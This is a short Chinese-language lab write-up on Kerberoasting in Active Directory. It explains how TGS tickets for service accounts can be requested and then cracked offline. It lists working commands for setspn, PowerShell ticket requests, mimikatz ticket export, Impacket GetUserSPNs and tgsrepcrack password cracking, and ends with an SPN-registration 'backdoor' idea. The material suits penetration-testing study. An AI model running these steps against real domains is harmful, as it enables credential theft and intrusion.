原理
用户凭借TGT票据向KDC发起针对特定服务的TGS_REQ请求,KDC使用krbtgt hash进行解密,如果结果正确,就返回用服务hash加密的TGS票据(这一步不管用户有没有访问服务的权限,只要TGT正确,就返回TGS票据,这也是kerberoating能利用的原因,任何一个用户,只要hash正确,可以请求域内任何一个服务的TGS票据
实验
- 域控 192.168.5.130 Administrator
- Win7 192.168.5.238 机器账号SECQUAN_WIN7-PC\secquan_win7 域用户账号ZHUJIAN\win7
- 给域用户下的MSSQL服务注册SPN
1
setspn -A MSSQLSvc/SECQUAN_WIN7-PC.zhujian.com zhujian\win7
powershell
请求SPN Kerberos Tickets
1 2
Add-Type -AssemblyName System.IdentityModel New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList " MSSQLSvc/SECQUAN_WIN7-PC.zhujian.com "
查询所存放的票据
1
klist
mimikatz导出票据
1
kerberos::list /export
MIMIKATZ
1 2 3 4 5 6 7 8 9
//通过Mimikatz指定服务主体名称作为目标 kerberos::ask /target:PENTESTLAB_001/WIN-PTELU2U07KG.PENTESTLAB.LOCAL:80 //输出票据 kerberos::list //或者,加载Kiwi模块添加一些额外的Mimikatz命令,它们也可以执行相同的任务。 load kiwi kerberos_ticket_list //导出票据 kerberos::list /export
Impacket-GetUserSPNs
1
python GetUserSPNs.py -request -dc-ip x.x.x.x 域名称/域用户
使用tgsrepcrack来破解
1
python tgsrepcrack.py mima.txt 1-40a00000-win7@MSSQLSvc~SECQUAN_WIN7-PC.zhujian.com-ZHUJIAN.COM.kirbi
kerberoasting后门利用
如果我们有了SPN的注册权限,我们就可以给指定的域用户注册一个SPN,然后获取到TGS,然后破解得到密码
这里我们用网上的一个例子来让大家明白一下流程即可,其他的内容均与前面所讲到的相同 文章首发公众号:无心的梦呓(wuxinmengyi)